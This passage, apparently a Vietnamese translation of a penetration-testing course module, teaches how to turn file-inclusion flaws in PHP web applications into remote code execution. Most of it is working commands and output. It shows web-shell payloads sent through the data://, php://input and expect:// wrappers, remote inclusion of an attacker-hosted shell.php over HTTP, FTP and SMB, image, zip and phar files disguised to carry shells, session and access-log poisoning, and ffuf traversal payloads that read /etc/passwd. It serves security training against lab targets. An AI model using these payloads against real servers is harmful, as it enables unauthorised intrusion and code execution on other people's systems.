Tiếp theo, URL-encode chuỗi base64 đó và truyền cho wrapper data dưới dạng data://text/plain;base64,. Cuối cùng, ta truyền lệnh vào shell với &cmd=<COMMAND>:

Ta cũng có thể dùng cURL:
H4DUYLONG@htb[/htb]$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Input
Tương tự data, wrapper input có thể include dữ liệu đầu vào bên ngoài và thực thi mã PHP. Khác biệt là ta truyền dữ liệu cho input dưới dạng POST data. Vì vậy, tham số dễ tổn thương phải chấp nhận POST thì tấn công này mới hoạt động. Cuối cùng, input cũng phụ thuộc vào allow_url_include như đã nêu.
Để lặp lại tấn công trước nhưng dùng input, ta gửi một POST tới URL dễ tổn thương và đặt web shell vào phần POST body. Để thực thi lệnh, ta truyền nó qua GET param như trước:
H4DUYLONG@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Lưu ý: Để truyền lệnh bằng GET, hàm dễ tổn thương cần đọc GET (ví dụ dùng $_REQUEST). Nếu nó chỉ nhận POST, ta có thể đặt lệnh trực tiếp trong mã PHP thay vì shell động (ví dụ <?php system('id')?>).
Expect
Cuối cùng, ta có thể tận dụng wrapper expect, cho phép chạy lệnh trực tiếp qua URL stream. expect vận hành tương tự web shell ta dùng trước đó, nhưng không cần cung cấp shell vì nó sinh ra để thực thi lệnh.
Tuy nhiên, expect là wrapper bên ngoài, cần được cài đặt và bật thủ công trên máy chủ; dẫu vậy một số ứng dụng web phụ thuộc vào nó cho chức năng cốt lõi, nên đôi khi ta sẽ gặp. Ta có thể xác định nó đã được cài/bật như khi kiểm tra allow_url_include ở trên, nhưng grep expect; nếu cài/bật, sẽ giống như sau:
H4DUYLONG@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
Như thấy, khóa cấu hình extension được dùng để bật module expect, nghĩa là ta có thể dùng nó để đạt RCE qua lỗ hổng LFI. Để dùng expect, gọi wrapper expect:// rồi truyền lệnh cần chạy:
H4DUYLONG@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Như vậy, chạy lệnh qua expect khá thẳng thắn, vì module này thiết kế cho việc thực thi lệnh. Mô-đun Web Attacks cũng đề cập cách dùng expect với lỗ hổng XXE; nếu nắm vững cách dùng ở đây, bạn cũng sẵn sàng cho kịch bản XXE.
Đây là ba wrapper PHP phổ biến nhất để trực tiếp thực thi lệnh hệ thống qua lỗ hổng LFI. Ở các phần tiếp theo, ta cũng sẽ đề cập tới wrapper phar và zip, có thể kết hợp với tính năng upload file của ứng dụng web để đạt RCE thông qua LFI.
Remote File Inclusion (RFI)
Cho đến giờ trong mô-đun này, ta chủ yếu tập trung vào Local File Inclusion (LFI). Tuy nhiên, trong một số trường hợp, ta cũng có thể include các tệp từ xa — tức Remote File Inclusion (RFI) — nếu hàm dễ tổn thương cho phép include URL từ xa. Điều này mang lại hai lợi ích chính:
- Liệt kê các cổng và ứng dụng web chỉ truy cập được cục bộ (tức SSRF).
- Giành Remote Code Execution bằng cách include một script độc hại do ta tự host.
Trong phần này, ta sẽ trình bày cách giành RCE thông qua lỗ hổng RFI. Mô-đun Server-side Attacks đề cập nhiều kỹ thuật SSRF khác nhau, cũng có thể áp dụng cùng với RFI.
So sánh Local vs. Remote File Inclusion
Khi một hàm dễ tổn thương cho phép include tệp từ xa, ta có thể tự host một script độc hại rồi include nó vào trang dễ tổn thương để chạy các chức năng độc hại và giành RCE. Nếu tham chiếu bảng ở phần đầu tiên, ta thấy một số hàm (nếu dễ tổn thương) sẽ cho phép RFI như sau:
| Function | Read Content | Execute | Remote URL |
| PHP | |||
| include()/include_once() | ✅ | ✅ | ✅ |
| file_get_contents() | ✅ | ❌ | ✅ |
| Java | |||
| import | ✅ | ✅ | ✅ |
| .NET | |||
| @Html.RemotePartial() | ✅ | ❌ | ✅ |
| include | ✅ | ✅ | ✅ |
Như có thể thấy, hầu hết lỗ hổng RFI cũng đồng thời là lỗ hổng LFI, vì bất kỳ hàm nào cho phép include URL từ xa thường cũng cho phép include tệp cục bộ. Tuy nhiên, một LFI không nhất thiết là một RFI. Lý do chủ yếu gồm ba điểm:
- Hàm dễ tổn thương không cho phép include URL từ xa.
- Bạn chỉ điều khiển được một phần tên tệp chứ không phải toàn bộ protocol wrapper (ví dụ http://, ftp://, https://).
- Cấu hình có thể chặn hoàn toàn RFI, vì đa số web server hiện đại tắt include tệp từ xa theo mặc định.
Thêm nữa, như trong bảng trên, một số hàm có cho phép include URL từ xa nhưng không cho phép thực thi mã. Trong trường hợp này, ta vẫn có thể khai thác để liệt kê cổng/ứng dụng nội bộ thông qua SSRF.
Xác minh RFI
Trong hầu hết các ngôn ngữ, include URL từ xa bị xem là thực hành nguy hiểm vì có thể dẫn đến kiểu lỗ hổng này. Do đó, include URL từ xa thường bị tắt mặc định. Ví dụ, bất kỳ include URL từ xa nào trong PHP đều cần bật cấu hình allow_url_include. Ta có thể kiểm tra cài đặt này thông qua LFI, như đã làm ở phần trước:
H4DUYLONG@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
Tuy nhiên, cách này không phải lúc nào cũng đáng tin, vì ngay cả khi allow_url_include bật, bản thân hàm dễ tổn thương cũng có thể không chấp nhận include URL từ xa. Do đó, cách đáng tin hơn để xác định một LFI cũng là RFI là thử include một URL và xem có lấy được nội dung hay không. Trước hết, ta nên bắt đầu bằng việc include một URL cục bộ để đảm bảo yêu cầu của ta không bị firewall hay biện pháp bảo mật khác chặn. Hãy dùng http://127.0.0.1:80/index.php làm chuỗi đầu vào và xem nó có được include không:

Như thấy, trang index.php đã được include vào khu vực dễ tổn thương (ví dụ phần “History Description”), nên trang thực sự dễ tổn thương với RFI, vì ta include được URL. Thêm nữa, index.php không bị include như mã nguồn thô mà được thực thi và render như PHP, tức là hàm dễ tổn thương cũng cho phép thực thi PHP — điều này có thể cho phép ta thực thi mã nếu include một script PHP độc hại do ta host.
Ta cũng thấy có thể chỉ định cổng 80 và nhận ứng dụng web trên cổng đó. Nếu máy chủ back-end còn host các ứng dụng web nội bộ khác (ví dụ cổng 8080), ta có thể truy cập chúng qua lỗ hổng RFI bằng cách áp dụng kỹ thuật SSRF.
Lưu ý: Có thể không lý tưởng khi include chính trang dễ tổn thương (ví dụ index.php), vì điều này có thể gây vòng lặp include đệ quy và dẫn đến DoS cho máy chủ back-end.
Remote Code Execution với RFI
Bước đầu để giành RCE là tạo một script độc hại bằng ngôn ngữ của ứng dụng web — ở đây là PHP. Ta có thể dùng web shell tùy chỉnh tải từ internet, dùng script reverse shell, hoặc tự viết web shell cơ bản như ở phần trước; trong ví dụ này ta sẽ làm như sau:
H4DUYLONG@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
Giờ ta chỉ cần host script này và include nó thông qua lỗ hổng RFI. Nên lắng nghe ở các cổng HTTP phổ biến như 80 hoặc 443, vì các cổng này có thể được whitelist nếu ứng dụng web có firewall chặn kết nối đi. Ngoài ra, ta có thể host script qua FTP hoặc SMB, như sẽ thấy ngay sau đây.
HTTP
Ta có thể bật server HTTP đơn giản bằng Python:
H4DUYLONG@htb[/htb]$ sudo python3 -m http.server <LISTENING_PORT>
Serving HTTP on 0.0.0.0 port <LISTENING_PORT> (http://0.0.0.0:<LISTENING_PORT>/) ...
Bây giờ, include web shell cục bộ thông qua RFI (dùng <OUR_IP> và <LISTENING_PORT>), và truyền lệnh với &cmd=id:

Ta thấy có kết nối đến server Python của ta; remote shell đã được include và lệnh đã được thực thi:
H4DUYLONG@htb[/htb]$ sudo python3 -m http.server <LISTENING_PORT>
Serving HTTP on 0.0.0.0 port <LISTENING_PORT> (http://0.0.0.0:<LISTENING_PORT>/) ...
SERVER_IP - - [SNIP] "GET /shell.php HTTP/1.0" 200 -
Mẹo: Có thể kiểm tra kết nối ở phía máy ta để chắc chắn request được gửi đúng như mong muốn. Ví dụ, nếu thấy bị thêm đuôi .php, ta có thể bỏ đuôi này trong payload.
FTP
Như đã nói, ta cũng có thể host script thông qua FTP. Dùng pyftpdlib để bật FTP server cơ bản:
H4DUYLONG@htb[/htb]$ sudo python -m pyftpdlib -p 21
[SNIP] >>> starting FTP server on 0.0.0.0:21, pid=23686 <<<
[SNIP] concurrency model: async
[SNIP] masquerade (NAT) address: None
[SNIP] passive ports: None
Cách này hữu ích nếu các cổng HTTP bị chặn bởi firewall hoặc chuỗi http:// bị WAF chặn. Để include script, lặp lại thao tác trước đó nhưng dùng scheme ftp://:

Như thấy, hoạt động tương tự tấn công qua HTTP và lệnh đã được thực thi. Mặc định PHP sẽ cố gắng đăng nhập ẩn danh. Nếu server yêu cầu xác thực, có thể chỉ định thông tin đăng nhập ngay trong URL:
H4DUYLONG@htb[/htb]$ curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
...SNIP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
SMB
Nếu ứng dụng web dễ tổn thương chạy trên Windows (có thể nhận ra từ HTTP response headers), thì không cần bật allow_url_include để khai thác RFI, vì ta có thể dùng SMB cho remote file inclusion. Lý do: Windows xem tệp trên SMB từ xa như tệp bình thường, có thể tham chiếu trực tiếp bằng đường dẫn UNC.
Ta có thể bật SMB server bằng impacket-smbserver.py, mặc định cho phép anonymous:
H4DUYLONG@htb[/htb]$ impacket-smbserver -smb2support share $(pwd)
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Giờ ta include script bằng đường dẫn UNC (ví dụ \\<OUR_IP>\share\shell.php) và chỉ định lệnh với &cmd=whoami như trước:

Như thấy, tấn công này hoạt động để include script từ xa mà không cần bật bất kỳ cài đặt ngoài mặc định nào. Tuy nhiên, cần lưu ý kỹ thuật này khả thi hơn khi ta ở cùng mạng, vì truy cập SMB từ xa qua internet có thể bị tắt mặc định, tùy cấu hình máy chủ Windows.
LFI and File Uploads
Chức năng tải tệp lên có mặt ở hầu hết các ứng dụng web hiện đại, vì người dùng thường cần cấu hình hồ sơ và cách sử dụng ứng dụng bằng cách tải dữ liệu của họ. Với kẻ tấn công, khả năng lưu tệp trên máy chủ có thể mở rộng việc khai thác nhiều lỗ hổng, như lỗ hổng file inclusion.
Mô-đun File Upload Attacks trình bày các kỹ thuật khác nhau để khai thác form/chức năng upload. Tuy nhiên, với cuộc tấn công trong phần này, ta không cần form upload phải có lỗ hổng, chỉ cần nó cho phép tải tệp. Nếu hàm dễ tổn thương có khả năng Execute (thực thi mã), thì mã trong tệp ta tải lên sẽ được thực thi khi ta include nó, bất kể phần mở rộng hay loại tệp. Ví dụ, ta có thể tải một ảnh (vd. image.jpg) nhưng bên trong chứa mã PHP web shell “thay vì dữ liệu ảnh”, và nếu ta include nó qua lỗ hổng LFI, mã PHP sẽ chạy và ta có RCE.
Như đã nêu ở phần đầu, đây là một số hàm cho phép thực thi mã khi file inclusion; bất kỳ hàm nào trong số này đều áp dụng được cho tấn công trong phần này.
| Function | Read Content | Execute | R emote URL |
| PHP | |||
| include() / include_once() | ✅ | ✅ | ✅ |
| require() / require_once() | ✅ | ✅ | ❌ |
| NodeJS | |||
| res.render() | ✅ | ✅ | ❌ |
| Java | |||
| import | ✅ | ✅ | ✅ |
| .NET | |||
| include | ✅ | ✅ | ✅ |
Upload ảnh
Upload ảnh rất phổ biến trong các ứng dụng web hiện đại, vì việc tải ảnh thường được coi là an toàn nếu chức năng upload được viết đúng. Tuy nhiên, như đã nói, lỗ hổng ở đây không nằm ở form upload, mà nằm ở chức năng file inclusion
Tạo ảnh độc hại
Bước đầu là tạo một ảnh độc hại chứa mã PHP web shell nhưng vẫn trông và hoạt động như ảnh. Ta sẽ dùng phần mở rộng ảnh hợp lệ cho tên tệp (vd. shell.gif) và chèn magic bytes của ảnh ở đầu nội dung (vd. GIF8) phòng khi form upload kiểm tra cả đuôi file và kiểu nội dung. Ta làm như sau:
H4DUYLONG@htb[/htb]$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Bản thân tệp này vô hại và không ảnh hưởng đến ứng dụng bình thường. Nhưng nếu kết hợp với LFI, ta có thể đạt RCE.
Lưu ý: Ta chọn GIF vì magic bytes của nó dễ gõ (ký tự ASCII), còn các định dạng khác thường có magic bytes dạng nhị phân cần URL-encode. Tuy nhiên, tấn công này áp dụng với bất kỳ loại ảnh/định dạng nào được phép. Mô-đun File Upload Attacks đi sâu hơn vào kiểm tra loại tệp, và logic tương tự áp dụng ở đây.
Giờ ta cần tải ảnh độc hại lên. Vào trang Profile Settings, bấm vào ảnh đại diện để chọn ảnh, sau đó Upload — nếu thành công sẽ có thông báo:

Đường dẫn tệp đã upload
Sau khi upload xong, ta chỉ cần include nó qua lỗ hổng LFI. Để include, ta cần biết đường dẫn đến tệp đã upload. Thường với ảnh, ta sẽ được cấp quyền truy cập ảnh đã tải và có thể lấy đường dẫn từ URL. Trong ví dụ này, kiểm tra source sau khi upload ta thấy URL:
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">
Lưu ý: Ta có thể dùng /profile_images/shell.gif làm đường dẫn tệp. Nếu không biết tệp được lưu ở đâu, có thể fuzz thư mục uploads, rồi fuzz tiếp tên tệp đã upload — dù không phải lúc nào cũng hiệu quả vì một số ứng dụng ẩn tệp tải lên.
Có đường dẫn trong tay, ta include tệp trong hàm LFI, mã PHP bên trong sẽ chạy:

Như thấy, ta đã include tệp và thực thi lệnh id thành công.
Lưu ý: Ở đây ta dùng ./profile_images/ vì LFI không tiền tố thêm thư mục trước input. Nếu trang dễ tổn thương có tiền tố thư mục trước input, chỉ cần dùng ../ để thoát ra, rồi dùng đường dẫn URL của ta — như đã học ở các phần trước.
Tải zip (Zip Upload)
Kỹ thuật ở trên rất đáng tin và thường hoạt động trong đa số trường hợp/khung framework, miễn là hàm dễ tổn thương cho phép thực thi mã. Ngoài ra có một số kỹ thuật chỉ cho PHP dùng PHP wrappers để đạt mục tiêu tương tự — hữu ích khi cách đầu tiên không hoạt động.
Ta có thể dùng wrapper zip:// để thực thi mã PHP. Tuy nhiên, wrapper này không bật mặc định, nên không phải lúc nào cũng dùng được. Cách làm: tạo script web shell PHP, nén vào zip archive (đặt tên ngụy trang shell.jpg):
H4DUYLONG@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
Lưu ý: Dù đặt tên archive là shell.jpg, một số form upload vẫn nhận diện đó là zip qua content-type và không cho upload. Kỹ thuật này dễ thành công hơn nếu ứng dụng cho phép upload zip.
Sau khi upload shell.jpg, ta include bằng wrapper zip:// như zip://shell.jpg, rồi tham chiếu file bên trong bằng #shell.php (URL-encode). Cuối cùng, thực thi lệnh với &cmd=id:

Như thấy, cách này cũng thực thi được lệnh qua PHP script nén.
Lưu ý: Ta thêm thư mục upload ./profile_images/ trước tên file vì index.php nằm ở thư mục gốc.
Phar Upload
Cuối cùng, ta có thể dùng wrapper phar:// để đạt kết quả tương tự. Trước tiên ghi script PHP sau vào shell.php:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
Script này biên dịch thành phar mà khi gọi sẽ ghi một web shell vào sub-file shell.txt bên trong, để ta tương tác. Biên dịch phar và đổi tên thành shell.jpg:
H4DUYLONG@htb[/htb]$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
Giờ ta có tệp phar tên shell.jpg. Sau khi upload lên ứng dụng web, chỉ cần gọi bằng phar:// và cung cấp đường dẫn URL đến nó, rồi chỉ định sub-file của phar là /shell.txt (URL-encode) để nhận kết quả lệnh (vd. &cmd=id):

Như thấy, lệnh id đã chạy thành công. Hai kỹ thuật zip và phar nên xem như phương án thay thế khi cách upload ảnh nhúng mã ban đầu không hoạt động, vì cách đầu tiên đáng tin cậy nhất trong ba cách.
Lưu ý: Còn một tấn công LFI/upload cũ đáng nhắc: nếu file uploads được bật trong cấu hình PHP và trang phpinfo() bị lộ. Tuy nhiên, tấn công này không phổ biến vì cần điều kiện rất đặc thù (LFI + uploads bật + PHP cũ + phpinfo() lộ). Nếu quan tâm, bạn có thể tham khảo một liên kết hướng dẫn chi tiết.
Log Poisoning
Ở các phần trước, ta đã thấy rằng nếu ta include bất kỳ tệp nào có chứa mã PHP, mã đó sẽ được thực thi miễn là hàm dễ tổn thương có quyền Execute. Các kỹ thuật trong phần này đều dựa trên cùng một ý tưởng: Ghi (tiêm) mã PHP vào một trường do ta kiểm soát sao cho mã đó được ghi vào file log (tức là “đầu độc”/“làm bẩn” log), rồi include chính file log để thực thi mã PHP. Để cuộc tấn công hoạt động, ứng dụng web PHP phải có quyền đọc các file log liên quan — điều này thay đổi tùy máy chủ.
Giống phần trước, bất kỳ hàm nào dưới đây có quyền Execute đều có thể bị khai thác bằng các kỹ thuật này:
| Function | Read Content | Execute | Remote URL |
| PHP | |||
| include() / include_once() | ✅ | ✅ | ✅ |
| require() / require_once() | ✅ | ✅ | ❌ |
| NodeJS | |||
| res.render() | ✅ | ✅ | ❌ |
| Java | |||
| import | ✅ | ✅ | ✅ |
| .NET | |||
| include | ✅ | ✅ | ✅ |
PHP Session Poisoning
Phần lớn ứng dụng web PHP dùng cookie PHPSESSID để lưu một số dữ liệu liên quan đến người dùng ở phía back-end, giúp ứng dụng theo dõi thông tin người dùng qua cookie. Những dữ liệu này được lưu trong các file session trên máy chủ, tại /var/lib/php/sessions/ trên Linux và C:\Windows\Temp\ trên Windows. Tên file chứa dữ liệu người dùng khớp với giá trị cookie PHPSESSID và có tiền tố sess_. Ví dụ, nếu PHPSESSID = el4ukv0kqbvoirg7nkp4dncpk3 thì đường dẫn file sẽ là: /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
Bước đầu trong tấn công Session Poisoning là xem nội dung file session tương ứng với PHPSESSID của ta để kiểm tra xem có dữ liệu ta kiểm soát được hay không. Trước hết kiểm tra trình duyệt có cookie PHPSESSID chưa (hình).

Giả sử ta thấy PHPSESSID = nhhv8i0o6ua4g88bkdl9u1fdsd, vậy file session sẽ là: /var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
Hãy thử include file session qua lỗ hổng LFI để xem nội dung:

Lưu ý: Giá trị cookie sẽ khác nhau giữa các phiên; bạn phải dùng giá trị cookie của chính bạn khi tấn công.
Ta thấy file session có 2 giá trị: page (trang ngôn ngữ đã chọn) và preference (ngôn ngữ đã chọn). preference không do ta điều khiển (tự sinh), còn page do ta điều khiển qua tham số ?language=.
Thử đặt page thành một giá trị tuỳ ý (ví dụ session_poisoning) bằng cách truy cập:
http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning
Giờ include lại file session để xem nội dung:

Lần này, file session chứa session_poisoning thay vì es.php, xác nhận ta điều khiển được giá trị page trong file session. Bước tiếp theo là đầu độc bằng cách ghi mã PHP vào file session. Ta ghi một web shell PHP cơ bản bằng cách đổi ?language= sang chuỗi URL-encode của web shell:
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
Cuối cùng, include file session và truyền lệnh với &cmd=id để thực thi:

Lưu ý: Muốn chạy lệnh khác, bạn thường phải đầu độc lại file session bằng web shell, vì sau lần include trước, giá trị có thể bị ghi đè về đường dẫn session. Lý tưởng là dùng web shell đã đầu độc để ghi một web shell vĩnh viễn vào thư mục web, hoặc gửi reverse shell để tương tác dễ hơn.
Server Log Poisoning
Cả Apache và Nginx đều có nhiều file log như access.log, error.log. File access.log chứa thông tin mọi request đến server, bao gồm header User-Agent của từng request. Vì ta kiểm soát được User-Agent, ta có thể dùng nó để đầu độc log như trên.
Sau khi đầu độc, ta include log qua lỗ hổng LFI — muốn vậy, tiến trình web phải có quyền đọc log. Nginx thường để người dùng đặc quyền thấp (ví dụ www-data) đọc được log theo mặc định, còn Apache thường chỉ cho các nhóm đặc quyền cao (root/adm) đọc. Dẫu vậy, trên Apache cũ hoặc cấu hình sai, log có thể đọc được bởi người dùng ít quyền.
Vị trí mặc định:
- Apache: /var/log/apache2/ (Linux), C:\xampp\apache\logs\ (Windows)
- Nginx: /var/log/nginx/ (Linux), C:\nginx\log\ (Windows)
Tuy nhiên, có thể khác trong một số trường hợp; ta có thể dùng LFI wordlist để fuzz vị trí (phần sau).
Thử include Apache access log:

Ta thấy log đã đọc được: có IP nguồn, trang yêu cầu, mã phản hồi, và User-Agent. Như đã nói, User-Agent do ta điều khiển, nên có thể đầu độc giá trị này.
Mẹo: Log có thể rất lớn; nạp chúng qua LFI có thể chậm hoặc tệ hơn là làm sập server. Hãy cẩn trọng, gửi ít request nhất có thể trong môi trường thật.
Dùng Burp Suite để chặn request LFI trước đó và sửa header User-Agent thành, ví dụ, Apache Log Poisoning (hình).

Lưu ý: Vì mọi request đều được ghi log, ta có thể đầu độc bằng bất kỳ request nào, không nhất thiết phải là request LFI.
Như dự đoán, User-Agent tuỳ chỉnh đã hiện trong log include. Giờ ta có thể đầu độc User-Agent bằng web shell PHP:

Cũng có thể đầu độc log bằng cURL:
H4DUYLONG@htb[/htb]$ echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
H4DUYLONG@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php" -H @Poison
Khi log đã chứa mã PHP, lỗ hổng LFI sẽ thực thi mã đó; ta chỉ định lệnh với &cmd=id:

Ta đã thực thi lệnh thành công. Y hệt tấn công này áp dụng cho log của Nginx.
Mẹo: Header User-Agent cũng xuất hiện trong các tệp tiến trình dưới /proc/ trên Linux. Ta có thể thử include /proc/self/environ hoặc /proc/self/fd/N (N là số mô tả file, thường 0–50) để thực hiện tấn công tương tự khi không đọc được log của server. Tuy nhiên, các tệp này cũng có thể chỉ đọc được bởi người dùng đặc quyền.
Cuối cùng, còn nhiều kỹ thuật đầu độc log khác trên các log dịch vụ khác nhau, tùy log nào ta đọc được:
- /var/log/sshd.log
- /var/log/mail
- /var/log/vsftpd.log
Hãy thử đọc các log này qua LFI trước; nếu đọc được, ta có thể đầu độc chúng như trên. Ví dụ, nếu dịch vụ ssh hoặc ftp đang mở và log của chúng ta đọc được qua LFI, ta có thể thử đăng nhập và đặt username là mã PHP; khi include log, mã sẽ chạy. Tương tự với mail: gửi email chứa mã PHP; khi include log của mail, mã sẽ thực thi. Tổng quát, kỹ thuật áp dụng cho bất kỳ log nào có ghi lại một tham số do ta kiểm soát và ta đọc được qua lỗ hổng LFI.
Automation and Prevention
Automated Scanning
Việc hiểu cách hoạt động của tấn công file inclusion và cách tự tay tạo payload nâng cao, dùng các kỹ thuật tùy biến để đạt remote code execution (RCE) là rất quan trọng. Lý do: trong nhiều trường hợp, để khai thác được lỗ hổng, ta cần payload tùy biến phù hợp cấu hình cụ thể của hệ thống mục tiêu. Hơn nữa, khi gặp các biện pháp phòng vệ như WAF hay firewall, ta phải vận dụng hiểu biết của mình để xem ký tự/payload nào bị chặn và tìm cách chế payload khác để đi vòng.
Tuy vậy, với nhiều ca “đơn giản”, ta không cần khai thác thủ công LFI. Có nhiều phương pháp tự động giúp nhanh chóng phát hiện và khai thác các LFI “trivial”. Ta có thể dùng fuzzing để thử một danh sách lớn payload LFI phổ biến và xem cái nào hiệu quả, hoặc dùng các tool chuyên LFI để kiểm tra lỗ hổng. Đó là nội dung phần này.
Fuzzing tham số
Các form HTML ở giao diện người dùng thường đã được kiểm thử và bảo vệ khá tốt trước các tấn công web. Tuy nhiên, nhiều trang có thể lộ các tham số khác không gắn với form nào — người dùng bình thường không truy cập tới được và cũng không gây hại vô tình. Vì vậy, việc fuzz tham số lộ là quan trọng, do chúng thường kém an toàn hơn các tham số công khai.
Mô-đun Attacking Web Applications with ffuf hướng dẫn chi tiết cách fuzz tham số GET/POST. Ví dụ, fuzz các tham số GET phổ biến như sau:
H4DUYLONG@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
...SNIP...
:: Method : GET
:: URL : http://<SERVER_IP>:<PORT>/index.php?FUZZ=value
:: Wordlist : FUZZ: /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: xxx
________________________________________________
language [Status: xxx, Size: xxx, Words: xxx, Lines: xxx]
Khi phát hiện một tham số lộ (không nằm trong các form đã kiểm thử), ta có thể thực hiện mọi kiểm thử LFI đã học trong mô-đun này. Điều này không chỉ áp dụng cho LFI — các tham số lộ cũng có thể dễ bị những lỗ hổng web khác.
Mẹo: Để quét chính xác hơn, có thể giới hạn danh sách tham số vào các tham số LFI phổ biến trong liên kết này.
LFI wordlists
Đến giờ ta chủ yếu tự ghi payload LFI để kiểm tra lỗ hổng — cách thủ công này đáng tin hơn và có thể tìm ra LFI mà quét tự động bỏ sót. Tuy nhiên, trong nhiều tình huống, ta muốn test nhanh xem một tham số có dính LFI “phổ biến” nào không — giúp tiết kiệm thời gian khi phải test nhiều loại lỗ hổng.
Có một số wordlist LFI hữu ích. Một danh sách tốt là LFI-Jhaddix.txt vì có nhiều bypass và tệp phổ biến, tiện chạy nhiều thử nghiệm cùng lúc. Ví dụ fuzz tham số ?language=:
H4DUYLONG@htb[/htb]$ ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
...SNIP...
:: Method : GET
:: URL : http://<SERVER_IP>:<PORT>/index.php?FUZZ=key
:: Wordlist : FUZZ: /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: xxx
________________________________________________
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 2461, Words: 636, Lines: 72]
...SNIP...
../../../../etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
../../../../../etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
../../../../../../etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 3661, Words: 645, Lines: 91]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 3661, Words: 645, Lines: 91]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91]
Như thấy, quét trả về nhiều payload LFI có thể khai thác. Sau khi có payload, ta nên kiểm thử thủ công để xác nhận hoạt động như kỳ vọng và hiển thị nội dung tệp hợp lệ.
Fuzzing các tệp máy chủ
Ngoài fuzz payload LFI, có những tệp hệ thống rất hữu ích cho khai thác LFI — biết chúng ở đâu và có đọc được không sẽ giúp nhiều: đường dẫn webroot, tệp cấu hình, log máy chủ.
Webroot máy chủ
Đôi khi ta cần biết đường dẫn tuyệt đối webroot để hoàn tất khai thác. Ví dụ, muốn tìm tệp đã upload nhưng không truy cập được thư mục /uploads qua đường tương đối (../../uploads). Khi đó ta phải xác định webroot để dò tệp qua đường tuyệt đối thay vì tương đối.
Cách làm: fuzz index.php qua các đường webroot phổ biến (wordlist cho Linux hoặc cho Windows). Tùy tình huống LFI, cần thêm vài ../ (vd. ../../../../) rồi nối index.php.
Ví dụ với ffuf:
H4DUYLONG@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
...SNIP...
: Method : GET
:: URL : http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 2287
________________________________________________
/var/www/html/ [Status: 200, Size: 0, Words: 1, Lines: 1]
Kết quả xác định đúng webroot là /var/www/html/. Ta cũng có thể dùng lại LFI-Jhaddix.txt vì có sẵn nhiều payload tiết lộ webroot. Nếu vẫn không tìm được webroot, cách tốt nhất là đọc tệp cấu hình máy chủ — thường chứa webroot và thông tin quan trọng khác (xem tiếp).
Log/Cấu hình máy chủ
